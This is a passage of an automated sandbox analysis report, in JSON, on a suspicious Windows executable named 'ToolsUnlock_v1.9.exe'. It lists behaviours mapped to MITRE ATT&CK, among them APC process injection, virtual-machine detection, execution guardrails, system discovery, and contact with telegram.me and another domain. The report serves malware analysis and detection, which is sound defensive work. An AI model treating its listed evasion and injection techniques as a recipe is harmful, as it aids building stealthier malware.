\"ToolsUnlock_v1.9.exe\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"Found reference to API \"GetVolumeInformationA\" (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"ToolsUnlock_v1.9.exe\" queries volume information of an entire harddrive\"C:\\\" at 00000000-00006184-00000C17-1111551945","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"ToolsUnlock_v1.9.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"ToolsUnlock_v1.9.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegCreateKeyExA\" in \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Able to rename or move file/directory (API string)","description":"file/memory contains long string with (Indicator: \"MoveFileW\"; File: \"ToolsUnlock_v1.9.exe\")\n Found string \"syscall.procMoveFileW\" (Indicator: \"MoveFileW\"; File: \"ToolsUnlock_v1.9.exe\")\n Found string \"syscall.procMoveFileW\" (Indicator: \"MoveFileW\"; Source: \"00000000-00006184.00000001.136997.01931000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-884","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Able to retrieve command line parameters of the running process","description":"Found string \"syscall.procGetCommandLineW\" (Source: \"00000000-00006184.00000001.136997.01931000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-930","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$35","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"ToolsUnlock_v1.9.exe\" called \"CreateDirectoryA\" with parameter %ALLUSERSPROFILE%\\vSSpn (UID: 00000000-00006184)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$36","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$37","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"telegram.me\"\n \"dzp.hidayahnetwork.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"149.154.167.99:443\"\n \"104.21.20.183:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"file/memory contains long string with (Indicator: \"CreateProcess\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procCreateProcessAsUserW\" (Indicator: \"CreateProcess\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procCreateProcessW\" (Indicator: \"CreateProcess\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"CreateProcessA\" (Indicator: \"CreateProcess\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")\n Found reference to API \"syscall.procCreateProcessAsUserW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00006184.00000001.136997.01931000.00000002.mdmp\")\n Found reference to API \"syscall.procCreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00006184.00000001.136997.01931000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"file/memory contains long string with (Indicator: \"CreateDirectory\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procCreateDirectoryW\" (Indicator: \"CreateDirectory\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")\n Found reference to API \"syscall.procCreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00006184.00000001.136997.01931000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Contains ability to create/control drivers (API string)","description":"file/memory contains long string with (Indicator: \"DeviceIoControl\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procDeviceIoControl\" (Indicator: \"DeviceIoControl\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procDeviceIoControl\" (Indicator: \"DeviceIoControl\"; Source: \"00000000-00006184.00000001.136997.01931000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-220","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"$38","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"file/memory contains long string with (Indicator: \"RegCloseKey\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procRegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")\n Found reference to API \"syscall.procRegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00006184.00000001.136997.01931000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: ToolsUnlock_v1.9.exe)","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$39","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteExA\" (Indicator: \"ShellExecute\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"file/memory contains long string with (Indicator: \"MoveFile\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procMoveFileW\" (Indicator: \"MoveFile\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procMoveFileW\" (Indicator: \"MoveFile\"; Source: \"00000000-00006184.00000001.136997.01931000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"ToolsUnlock_v1.9.exe\")\n file/memory contains long string with (Indicator: \"CommandLineToArgv\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procGetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procCommandLineToArgvW\" (Indicator: \"CommandLineToArgv\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procGetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00006184.00000001.136997.01931000.00000002.mdmp\")\n Found reference to API \"syscall.procCommandLineToArgvW\" (Indicator: \"CommandLineToArgv\"; Source: \"00000000-00006184.00000001.136997.01931000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"file/memory contains long string with (Indicator: \"GetLastError\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procGetLastError\" (Indicator: \"GetLastError\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")\n Found reference to API \"syscall.procGetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00006184.00000001.136997.01931000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Contains reference to method used by Windows shell items (API string)","description":"Found reference to API \"SHFileOperationA\" (Indicator: \"SHFileOperation\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-269","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"\"Software\\Policies\\Microsoft\\Internet Explorer\\Main\" in Source: 00000000-00006184.00000000.136838.CFFD0000.00000004.mdmp\n \"Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\\" in Source: 00000000-00006184.00000000.136838.CFFD0000.00000004.mdmp\n 00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"Process ToolsUnlock_v1.9.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\SM0:6184:304:WilStaging_02\"\n Process ToolsUnlock_v1.9.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6184:304:WilStaging_02\"\n Process ToolsUnlock_v1.9.exe created mutex with name \"Local\\SM0:6184:304:WilStaging_02\"\n Process ToolsUnlock_v1.9.exe created mutex with name \"SM0:6184:120:WilError_01\"\n Process ToolsUnlock_v1.9.exe created mutex with name \"SM0:6184:304:WilStaging_02\"\n Process ToolsUnlock_v1.9.exe created mutex with name \"Local\\ZonesCacheCounterMutex\"\n Process ToolsUnlock_v1.9.exe created mutex with name \"Local\\ZonesLockedCacheCounterMutex\"\n Process ToolsUnlock_v1.9.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n Process ToolsUnlock_v1.9.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n Process ToolsUnlock_v1.9.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\SM0:6184:120:WilError_01\"","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"ToolsUnlock_v1.9.exe\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"p@lmwfmw.ofmdwk\"\n Pattern match: \"premium-server@thawte.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Found User Agent related strings","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"\"Software\\Policies\\Microsoft\\Internet Explorer\\Main\" in Source: 00000000-00006184.00000000.136838.CFFD0000.00000004.mdmp\n \"Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\\" in Source: 00000000-00006184.00000000.136838.CFFD0000.00000004.mdmp\n \"Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\\" in Source: 00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"GETs files from a web server (PE files)","description":"$3c","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$3d","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"ToolsUnlock_v1.9.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 78A40000\n \"ToolsUnlock_v1.9.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 77D90000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"ToolsUnlock_v1.9.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 7A5E0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a000102000040c75078fa7f0000@ntdll.dll\"\n \"220023000102000018c75078fa7f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"ToolsUnlock_v1.9.exe\" was detected as \"Go\" and name: \"Compiler\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"ToolsUnlock_v1.9.exe\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"ToolsUnlock_v1.9.exe\" has an writable section named \".data\"\n \"ToolsUnlock_v1.9.exe\" has an writable section named \".idata\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"\"ToolsUnlock_v1.9.exe\" file has an entrypoint instructions - \"jmp\t0x4576a0,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,pushfq\t,cld\t,sub\trsp, 0xe0,mov\tqword ptr [rsp], rdi,mov\tqword ptr [rsp + 8], rsi,mov\tqword ptr [rsp + 0x10], rbp,mov\tqword ptr [rsp + 0x18], rbx,mov\tqword ptr [rsp + 0x20], r12,mov\tqword ptr [rsp + 0x28], r13,mov\tqword ptr [rsp + 0x30], r14,mov\tqword ptr [rsp + 0x38], r15,movups\txmmword ptr [rsp + 0x40], xmm6,movups\txmmword ptr [rsp + 0x50], xmm7,movups\txmmword ptr [rsp + 0x60], xmm8,\"","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x165200\" greater than 0x100000\n Raw size of \".rdata\" is \"0x3bbe00\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x165116\" greater than 0x100000\n Virtual size of \".rdata\" is \"0x3bbd20\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Possibly references Golang binary related string","description":"\"Go build ID: \"ZzkZ3am8sygkIcbGx6NZ/kfqBYvtQ22BOs670jI1j/_DFBpLMSdFqmQw34cIsz/mJAVJs4zvsrxTaFi3O0F\"\" (Indicator: \"Go build ID: \"ZzkZ3am8sygkIcbGx6NZ/kfqBYvtQ22BOs670jI1j/_DFBpLMSdFqmQw34cIsz/mJAVJs4zvsrxTaFi3O0F\")\" in Source: ToolsUnlock_v1.9.exe, \"Go build ID: \"ZzkZ3am8sygkIcbGx6NZ/kfqBYvtQ22BOs670jI1j/_DFBpLMSdFqmQw34cIsz/mJAVJs4zvsrxTaFi3O0F\"\" (Indicator: \"Go build ID: \"ZzkZ3am8sygkIcbGx6NZ/kfqBYvtQ22BOs670jI1j/_DFBpLMSdFqmQw34cIsz/mJAVJs4zvsrxTaFi3O0F\")\" in Source: 00000000-00006184.00000000.136838.013A1000.00000020.mdmp","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-74","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"dzp.hidayahnetwork.com\"\n \"telegram.me\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"ToolsUnlock_v1.9.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"ToolsUnlock_v1.9.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"ToolsUnlock_v1.9.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"The input sample contains the RDTSCP instruction","description":"Found VM detection artifact \"RDTSCP trick\" in \"sample.bin\" (Offset: 364873)","origin":"Binary File","mitre_attack_id":"T1497","relevance":5,"id":"binary-26","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"$3e","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"$3f","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to queue an Asynchronous Procedure Call (APC) in a remote process (API string)","description":"Found reference to API \"NtQueueApcThread\" (Indicator: \"QueueApcThread\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")\n Found reference to API \"QueueUserAPC\" (Indicator: \"QueueUserAPC\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.004","relevance":1,"id":"string-255","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"ToolsUnlock_v1.9.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$40","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"ToolsUnlock_v1.9.exe\" queries basic process information of the \"C:\\ToolsUnlock_v1.9.exe\" (UID: 6184)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$41","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"ToolsUnlock_v1.9.exe\" called \"NtQueueApcThread\" (UID: 00000000-00006184)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Contains a Wine emulator-related string\n Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Queries process mitigation policy via NtQueryInformationProcess\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)\n Matched sigs: The input sample contains the RDTSCP instruction","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"ToolsUnlock_v1.9.exe\" trying to touch file \"C:\\Windows\\System32\\apphelp.dll\"\n \"ToolsUnlock_v1.9.exe\" trying to touch file \"C:\\ToolsUnlock_v1.9.exe\"\n \"ToolsUnlock_v1.9.exe\" trying to touch file \"C:\\Windows\\System32\\ntdll.dll\"\n \"ToolsUnlock_v1.9.exe\" trying to touch file \"C:\\Windows\\System32\\kernel32.dll\"\n \"ToolsUnlock_v1.9.exe\" trying to touch file \"C:\\Windows\\System32\\KernelBase.dll\"\n \"ToolsUnlock_v1.9.exe\" trying to touch file \"C:\\Windows\\apppatch\\sysmain.sdb\"\n \"ToolsUnlock_v1.9.exe\" trying to touch file \"C:\\FLTLIB.DLL\"\n \"ToolsUnlock_v1.9.exe\" trying to touch file \"C:\\Windows\\System32\\fltLib.dll\"\n \"ToolsUnlock_v1.9.exe\" trying to touch file \"C:\\windows\\temp\\VxOle64.dll\"\n \"ToolsUnlock_v1.9.exe\" trying to touch file \"C:\\Windows\\System32\\imm32.dll\"\n \"ToolsUnlock_v1.9.exe\" trying to touch file \"C:\\WINDOWS\\system32\\IMM32.DLL\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"ToolsUnlock_v1.9.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCache\"\n \"ToolsUnlock_v1.9.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCookies\"\n \"ToolsUnlock_v1.9.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\History\"\n \"ToolsUnlock_v1.9.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\"\n \"ToolsUnlock_v1.9.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies\"\n \"ToolsUnlock_v1.9.exe\" touched file 